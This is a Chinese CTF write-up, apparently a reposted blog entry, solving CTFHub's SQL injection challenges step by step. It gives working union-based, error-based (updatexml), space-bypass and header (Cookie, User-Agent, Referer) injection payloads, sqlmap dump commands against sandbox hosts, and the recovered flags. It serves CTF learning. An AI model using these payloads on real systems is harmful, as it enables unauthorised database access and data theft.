CTFHub技能树 Web-SQL注入详解

news2025/4/9 17:39:21

文章目录

    • 0x01 整数型注入
    • 0x02 字符型注入
    • 0x03 报错注入
    • 0x04 布尔盲注
    • 0x05 时间盲注
    • 0x06 MySql结构
    • 0x07 Cookie注入
    • 0x08 空格绕过
    • 0x09 UA注入
    • 0x10 Refer注入
    • 总结
    • 摘抄

在这里插入图片描述

0x01 整数型注入

在这里插入图片描述

解题WP
第一步 尝试闭合点
在这里插入图片描述
在这里插入图片描述

第二步 判断列数

id=1 order by 2 页面正常
id=1 order by 3 页面未回显数据

在这里插入图片描述
在这里插入图片描述

第三步 联合查询,判断回显位置
/?id=-1 union select 1,2

在这里插入图片描述

第四步 执行数据库语句
-1 union select 1,database()
在这里插入图片描述

第五步 查询当前数据库下的表名
id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'
在这里插入图片描述

第六步 查询表下的字段
?id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'
在这里插入图片描述

第七步 输入字段值
?id=-1 union select 1,flag from sqli.flag

在这里插入图片描述

0x02 字符型注入

在这里插入图片描述

解题WP
第一步 闭合方式
/?id=1' --+'
在这里插入图片描述

第二步 查看回显字段的位数

id=1' order by 2 --+' 页面正常
id=1' order by 3 --+' 页面未回显数据

在这里插入图片描述

第三步 判断回显的位置
-1' union select 1,2 --+'
在这里插入图片描述

sqlmap -u http://challenge-e9227c10fafe8768.sandbox.ctfhub.com:10800/?id=1 --dbs
在这里插入图片描述

sqlmap -u http://challenge-e9227c10fafe8768.sandbox.ctfhub.com:10800/?id=1 -D sqli --tables

在这里插入图片描述

sqlmap -u http://challenge-e9227c10fafe8768.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag --columns
在这里插入图片描述

sqlmap -u http://challenge-e9227c10fafe8768.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag -C flag --dump

在这里插入图片描述

0x03 报错注入

在这里插入图片描述

第一步 判断注入

id=1页面回显正常
id=1'发现页面报错,回显数据库错误信息

在这里插入图片描述
在这里插入图片描述

第二步 使用updatexml注入,数据库名称

 updatexml(xml_document,xpath_string,new_value)
第一个参数:xml_document,为xml文档对象名称,是数据库x库的doc字段
第二个参数:xpath_string:xpath语法
第三个参数:new_value:替换查找到的符合条件的字符(string)

/?id=1 and updatexml(1,concat(0x5e,database()),1)

在这里插入图片描述

第三步 获取表名
编解码在线工具
https://www.toolhelper.cn/

/?id=1 and updatexml(1,concat(0x5e,(select group_concat(table_name) from information_schema.tables where table_schema=0x73716c69),0x5e),1)

在这里插入图片描述

第四步 获取字段

/?id=1 and updatexml(1,concat(0x5e,(select group_concat(column_name) from information_schema.columns where table_name=0x666c6167),0x5e),1)

在这里插入图片描述

第五步 获取字段值

/?id=1 and updatexml(1,concat(0x5e,(select flag from sqli.flag),0x5e),1)
发先flag少了一部分
mid 就可以得到flag后面的一部分
/?id=1 and updatexml(1,concat(0x5e,mid((select flag from sqli.flag),32),0x5e),1)

在这里插入图片描述
在这里插入图片描述

0x04 布尔盲注

在这里插入图片描述

--dbs 
-D sqli --tables 
-D sqli -T flag columns --dump

在这里插入图片描述

sqlmap -u "http://challenge-70a9e8b793dd9d2b.sandbox.ctfhub.com:10800/?id=1" --dbs

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

sqlmap -u "http://url/?id=1" -D sqli --tables --batch
在这里插入图片描述

sqlmap -u "http://url/?id=1" -D sqli -T flag --columns --batch
在这里插入图片描述

 sqlmap  -u "http://url/?id=1" -D sqli -T flag -C flag --dump --batch 
ctfhub{c04dd02440c0191e73caad9c}

在这里插入图片描述

0x05 时间盲注

--dbs 
-D sqli --tables 
-D sqli -T flag --columns 
-D sqli -T flag -C flag --dump
--batch 

在这里插入图片描述
在这里插入图片描述

0x06 MySql结构

在这里插入图片描述

--dbs 
-D sqli --tables 
-D sqli -T whvvzxswne columns --dump
sqlmap -u http://url/?id=1  -D sqli -T  qtcwgcmzbh   -C  jkcwouoqak   --dump  --batch 
ctfhub{f37e47264f12f73fe5129649} 

在这里插入图片描述

0x07 Cookie注入

在这里插入图片描述

第一步 确定闭合

Cookie: id=1  数字型注入

在这里插入图片描述

第二步 查看回显字段的位数

Cookie: id=1 order by 2; 页面正常
Cookie: id=1 order by 3; 页面异常

在这里插入图片描述
在这里插入图片描述

第三步 使用union查询,查看回显位置

Cookie: id=-1 union select 1,2;

在这里插入图片描述

第四步 查看当前数据库

Cookie: id=-1 union select 1,database();

在这里插入图片描述

第五步 查看表名

Cookie: id=-1 union select 1,(select table_name from information_schema.tables where table_schema=database() limit 0,1);
trxfffaswl
news

在这里插入图片描述
在这里插入图片描述

第六步 查询字段

Cookie: id=-1 union select 1,(select column_name from information_schema.columns where table_schema=database() and table_name='trxfffaswl' limit 0,1);
brdjzysggi

在这里插入图片描述

第七步 查看字段值

Cookie: id=-1 union select 1,(select brdjzysggi from trxfffaswl limit 0,1);

在这里插入图片描述

0x08 空格绕过

在这里插入图片描述

第一步 确定闭合
?id=1/**/or/**/1=1 //测试or,and等特殊字符是否被过滤

第二步 查看回显字段的位数

?id=1/**/order/**/by/**/2;页面正常
?id=1/**/order/**/by/**/3; 页面异常

在这里插入图片描述
在这里插入图片描述

第三步 使用union查询,查看回显位置

?id=-1/**/union/**/select/**/1,2

在这里插入图片描述

第四步 查看当前数据库

-1/**/union/**/select/**/1,database()

在这里插入图片描述

第五步 查看表名

表明1
?id=-1/**/union/**/select/**/1,(select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema='sqli'/**/limit/**/0,1)
表名2
?id=-1/**/union/**/select/**/1,(select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema='sqli'/**/limit/**/1,1)
ID: imrqzusgig
Data: news

在这里插入图片描述

第六步 查询字段

?id=-1/**/union/**/select/**/1,(select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_schema='sqli'/**/and/**/table_name='imrqzusgig'/**/limit/**/0,1)
Data: sxiiqtwdft

在这里插入图片描述

第七步 查看字段值

?id=-1/**/union/**/select/**/1,(select/**/sxiiqtwdft/**/from/**/imrqzusgig/**/limit/**/0,1)

0x09 UA注入

在这里插入图片描述

第一步 构造闭合

1 or 1=2 页面回显正常
1 and 1=2

在这里插入图片描述
在这里插入图片描述

第二步 查询列数量

1 order by 1,2,3  页面报错
1 order by 1,2  页面正常

在这里插入图片描述
在这里插入图片描述

第三步 判断回显,查询数据库

-1 union select 1,2 
-1 union select 1,database()

在这里插入图片描述
在这里插入图片描述

第四步 查看表名称

-1 union select 1,(select table_name from information_schema.tables where table_schema=database() limit 0,1)
cutmmwbdxt
news

在这里插入图片描述

第五步 查看字段名称

-1 union select 1,(select column_name from information_schema.columns where table_schema=database() and table_name='cutmmwbdxt' limit 0,1)
iezonoaoey 

在这里插入图片描述

第六步 查看字段值

-1 union select 1,(select iezonoaoey   from cutmmwbdxt limit 0,1)
ctfhub{509b5eecd5afe7a69925baad}

在这里插入图片描述

0x10 Refer注入

在这里插入图片描述

第一步 构造闭合

1 or 1=2 页面回显正常
1 and 1=2

在这里插入图片描述
在这里插入图片描述

第二步 查询列数量

1 order by 1,2,3  页面报错
1 order by 1,2  页面正常

在这里插入图片描述
在这里插入图片描述

第三步 判断回显,查询数据库

-1 union select 1,2 
-1 union select 1,database()

在这里插入图片描述

在这里插入图片描述

第四步 查看表名称

-1 union select 1,(select table_name from information_schema.tables where table_schema=database() limit 0,1)
skwdbewppe
news

在这里插入图片描述

第五步 查看字段名称

-1 union select 1,(select column_name from information_schema.columns where table_schema=database() and table_name='skwdbewppe' limit 0,1)
lmdptzbbsz

在这里插入图片描述

第六步 查看字段值

-1 union select 1,(select lmdptzbbsz  from skwdbewppe limit 0,1)
ctfhub{696d71da4c29a525eb09512d}

在这里插入图片描述

所有的SQL注入完成
在这里插入图片描述

总结

level有5级,越高检测越全,默认为 1

--level 1 检测Get和Post

--level 2 检测HTTP Cookie

--level 3 检测User-Agent和Referer

--level 4 检测

--level 5 检测 HOST 头

risk有3级,级别越高风险越大,默认为1

--risk 2 会在默认的检测上添加大量时间型盲注语句测试

--risk 3 会在原基础上添加OR 类型的布尔型盲注 ,可能会update导致修改数据库

摘抄


如果你有一堆苹果,有好有坏,你应该先吃好的,把烂的扔掉。如果你先吃坏的,好的也会变坏,你就永远吃不到好的,这就是苹果定律。
苹果定律告诉我们,人必须善于取舍,要记住先做你生命中最重要的事。
仔细想想,人生曾有多少次机遇被我们错过,有多少重要的事被我们割舍。每个阶段都有不同的目标,找到当下最核心最重要的事,是一个人最大的本事和能力。
  ---《苹果定律》


本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/24108.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

C语言中的文件操作

在今天的文章中,我将要讲解C语言里的文件操作的详细知识。 目录1.为什么使用文件2.什么是文件2.1程序文件2.2数据文件2.3文件名3.文件的打开和关闭3.1文件指针3.2文件的打开和关闭3.2.1 fopen函数3.2.2 fclose函数3.2.3 文件的打开方式4.文件的顺序读写4.1 文件输入…

高通量筛选——离子化合物

上线离子通道筛选平台,提供形式多样的高表达细胞系的离子通道检测及新药临床前离子通道作用评价服务。 离子通道离子通道 (Ion Channel) 是一类跨膜的大分子孔道蛋白,可允许特定类型离子在电化学梯度驱动下穿过细胞膜,从而完成信号传导、细…

罗丹明PEG巯基,Rhodamine PEG Thiol,RB-PEG-SH

产品名称:罗丹明PEG巯基 英文名称:Rhodamine PEG Thiol,RB-PEG-SH 罗丹明B-PEG巯基(RB-PEG-SH)可以用来修饰蛋白质、多肽以及其他材料或者小分子。马来酰亚胺和巯基(-SH)在PH6.5-7.5很容易形成…

JAVA maven

Maven基础 Maven的本质是一个项目管理工具,将项目开发和管理过程抽象成一个项目对象模型(POM) POM(Project Object Model):项目对象模型。 项目对象模型(POM)需要加载pom.xml来确定项目&#x…

【SpringBoot笔记27】SpringBoot集成ES数据库之操作index索引(创建、删除、获取)

这篇文章,主要介绍SpringBoot如何操作ES数据库中的index索引(创建、删除、获取)。 目录 一、SpringBoot操作ES索引 1.1、创建索引 1.2、删除索引 1.3、获取索引 1.4、判断索引是否存在 一、SpringBoot操作ES索引 ES的高级客户端中&…

一、数据库查询语句(单表查询篇)

一、数据库查询语句(单表查询篇) 单表查询&#xff1a;SELECT 语句仅从一个表/视图中检索数据&#xff0c;称单表查询。即其中的<普通表> 使用的是[<模式名>.]<基表名|视图名>。 该查询的语句所依赖的表是创建数据库实例默认勾选的两个实例&#xff1a;BOOKS…

Python数据分析实战-实现txt文件与列表(list)相互读写转换(附源码和实现效果)

前面我介绍了可视化的一些方法以及机器学习在预测方面的应用&#xff0c;分为分类问题&#xff08;预测值是离散型&#xff09;和回归问题&#xff08;预测值是连续型&#xff09;&#xff08;具体见之前的文章&#xff09;。 从本期开始&#xff0c;我将做一个数据分析类实战…

python对指定字符串逆序的几种方法

对于一个给定的字符串&#xff0c;逆序输出&#xff0c;这个任务对于python来说是一种很简单的操作&#xff0c;毕竟强大的列表和字符串处理的一些列函数足以应付这些问题 了&#xff0c;今天总结了一下python中对于字符串的逆序输出的6种常用的方法 方法一&#xff1a;直接使…

04 数学软件与建模---Lingo

(12条消息) Lingo学习笔记&#xff08;一&#xff09;——语法入门_小白成长之旅的博客-CSDN博客 1.在LINGO中求解如下的LP问题&#xff1a; min2*x13*x2; x1x2>350; x1>100; 2*x1x2<600; 2.LINGO中的集 2.1 集的定义 对实际问题建模的时候&#xff0c;总会遇到一群…

java单例模式--懒汉式、饿汉式(第二次学习)

目录 java单例模式--懒汉式、饿汉式 1、要点 2、单例模式的类型&#xff08;五种&#xff09; 2.1 饿汉式 2.2 枚举饿汉式&#xff08;推荐使用&#xff09; 2.3 懒汉式单例 2.4 DCL懒汉式&#xff08;双检锁的懒汉式&#xff09; 2.5 内部类懒汉式&#xff08;推荐使用…

vue2 sass 安装及使用2

根据上一篇 vue2 sass 安装及使用_lsswear的博客-CSDN博客&#xff0c;使用vue-cli 5版本继续尝试安装sass。 本地环境&#xff1a; win10 vue2 vue-cli 5 sass安装 vue create testsass npm i node-loaderadded 2 packages in 6snpm i sass-loaderadded 1 package in 3s…

【pytorch】MNIST 梯度上升法求使得某类概率最大的样本

目标&#xff1a;用 MNIST 训练一个 CNN 模型&#xff0c;然后用梯度上升法生成一张图片&#xff0c;使得模型对这张图片的预测结果为 8 import numpy as np import torch import torch.nn as nn import torch.nn.functional as F import torch.optim as optim import torchvi…

jsp科研管理系统Myeclipse开发mysql数据库web结构java编程计算机网页项目

一、源码特点 JSP 科研管理系统 是一套完善的web设计系统&#xff0c;对理解JSP java编程开发语言有帮助&#xff0c;系统具有完整的源代码和数据库&#xff0c;系统主要采用B/S模式开发。开发环境为TOMCAT7.0,Myeclipse8.5开 发&#xff0c;数据库为Mysql&#xff0c;使用ja…

面试:KOOM内存泄漏的监控

LeakCannary 为什么各大厂自研的内存泄漏检测框架都要参考 LeakCanary&#xff1f;因为它是真强啊&#xff01;_慕课手记 内存快照是在触发了onDestory中做的 目前&#xff0c;LeakCanary 支持以下五种 Android 场景中的内存泄漏监测&#xff1a; 1、已销毁的 Activity 对象…

基于java+ssm的在线投票管理系统-计算机毕业设计

项目介绍 基于SSM的在线投票系统以XXX学院为背景&#xff0c;运用在校所学习的软件开发原理&#xff0c;采用SpringSpringMVCMyBatis技术和MySQL数据库构建一个基于B/S模式的在线投票系统。本系统在设计之初&#xff0c;结合网络上。现有的在线投票系统。经过具体分析之后都出…

【Go】 力扣 - 剑指 Offer 第五天 - 二维数组中的查找

[Go] 力扣 - 剑指 Offer 第五天 - 二维数组中的查找题目来源题目描述示例题目分析算法暴力法代码实现复杂度分析二分法代码实现复杂度分析模拟 BST 标记查找法代码实现复杂度分析结尾耐心和持久胜过激烈和狂热。 题目来源 来源&#xff1a;力扣&#xff08;LeetCode&#xff0…

TestStand-从LabVIEW创建TestStand数据类型的簇

文章目录从LabVIEW创建TestStand数据类型的簇从LabVIEW创建TestStand数据类型的簇 TestStand提供数字、字符串、布尔值和对象引用内置数据类型。 TestStand还提供了几种标准的命名数据类型&#xff0c;包括路径、错误、LabVIEW模拟波形等。可以通过创建容器数据类型来保存任何…

【第四部分 | JavaScript 基础】1:JS概述、变量及输入输出

目录 | 概述 | JS的书写位置 | 输入输出 | 变量 命名规范 基本使用 通过输入语句prompt把信息赋值给变量 | 数据类型 JS数据类型的特别 简单数据类型 简介 简单数据类型 Number 简单数据类型 String 简单数据类型 Boolean、Undefined、Null 获取类型 类型转换 | …

巴菲特斥资290亿抄底,台积电跌成“白菜价”?

11月14日&#xff0c;巴菲特旗下伯克希尔向美国证券交易委员会&#xff08;SEC&#xff09;提交了13F季度报告。报告显示&#xff0c;三季度伯克希尔斥资41亿美元&#xff08;约290亿人民币&#xff09;大幅买入台积电。 报告发出后&#xff0c;第二天台积电美股涨超6%&#x…

多旋翼无人机组合导航系统-多源信息融合算法(Matlab代码实现)

&#x1f352;&#x1f352;&#x1f352;欢迎关注&#x1f308;&#x1f308;&#x1f308; &#x1f4dd;个人主页&#xff1a;我爱Matlab &#x1f44d;点赞➕评论➕收藏 养成习惯&#xff08;一键三连&#xff09;&#x1f33b;&#x1f33b;&#x1f33b; &#x1f34c;希…